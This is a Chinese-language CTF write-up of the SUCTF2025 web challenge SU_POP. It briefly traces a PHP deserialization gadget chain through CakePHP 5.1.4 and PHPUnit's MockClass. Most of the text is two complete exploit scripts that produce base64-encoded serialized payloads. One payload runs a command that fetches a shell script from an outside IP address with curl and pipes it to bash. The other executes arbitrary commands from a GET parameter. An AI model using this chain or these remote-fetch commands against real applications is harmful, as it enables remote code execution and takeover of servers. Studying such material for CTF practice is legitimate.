SUCTF2025-WEB-复现

SU_POP

题目考点:反序列化

Cakephp版本:5.1.4

题目给出了入口点:

image-20250122232852570

unserialize起点无非是找__wakeup还有__destruct,__wakeup用于对对象初始化,__destruct用于对象的销毁,一般多选与__destruct方法作为起点,全文搜索找到了这个地方

这里明显会触发toString方法所以又要找toString方法并且变量可控

由于不存在rewind方法就会触发__call方法,继续找__call方法

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PHPUnit\Framework\MockObject\Generator;

class MockClass
{
public $classCode;
public $mockName;
public function __construct() {
$this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";
$this->mockName = "Z3r4y";
}
}

namespace Cake\ORM;

use PHPUnit\Framework\MockObject\Generator\MockClass;

class BehaviorRegistry
{
public $_methodMap;
public $_loaded;

public function __construct() {
$this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];
$this->_loaded = ["Z3r4y" => new MockClass()];
}
}

class Table
{
public $_behaviors;
public function __construct() {
$this->_behaviors = new BehaviorRegistry();
}
}

namespace Cake\Http;

use Cake\ORM\Table;

class Response
{
public $stream;
public function __construct() {
$this->stream = new Table();
}
}

namespace React\Promise\Internal;

use Cake\Http\Response;

final class RejectedPromise
{
public $reason;
public function __construct() {
$this->reason = new Response();
}
}

$a=new RejectedPromise();
echo base64_encode(serialize($a));

or

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
namespace React\Promise\Internal{
class RejectedPromise{
private $reason;
private $handled = false;
public function __construct()
{
$this->handled = false;
$this->reason =new \Cake\Http\Response();
}
}
}
namespace Cake\Http{
class Response{
private $stream;
public function __construct(){
$this->stream=new \Cake\ORM\Table();
}
}
}
namespace Cake\ORM{
class Table{
protected BehaviorRegistry $_behaviors;
public function __construct(){
$this->_behaviors = new BehaviorRegistry();
}
}
class BehaviorRegistry{
protected array $_methodMap = [];
protected array $_loaded = [];
public function __construct(){
$this->_methodMap = ["rewind"=>["MockClass","generate"]];
$this->_loaded = ["MockClass"=>new \PHPUnit\Framework\MockObject\Generator\MockClass()];
}
}
}
namespace PHPUnit\Framework\MockObject\Generator {
class MockClass
{
private readonly string $classCode;
private readonly string $mockName;

public function __construct()
{
$this->mockName = "MockClass";
$this->classCode = "system(\$_GET[1]);";
}
}
}
namespace Main {
$a=new \React\Promise\Internal\RejectedPromise();

$str = serialize($a);
//echo $str;
echo "\n";
echo base64_encode($str);
}

SUCTF2025-WEB-复现
https://yankun8.github.io/blog/2025/01/22/CTF/SUCTF2024/
作者
yankun
发布于
2025年1月22日
许可协议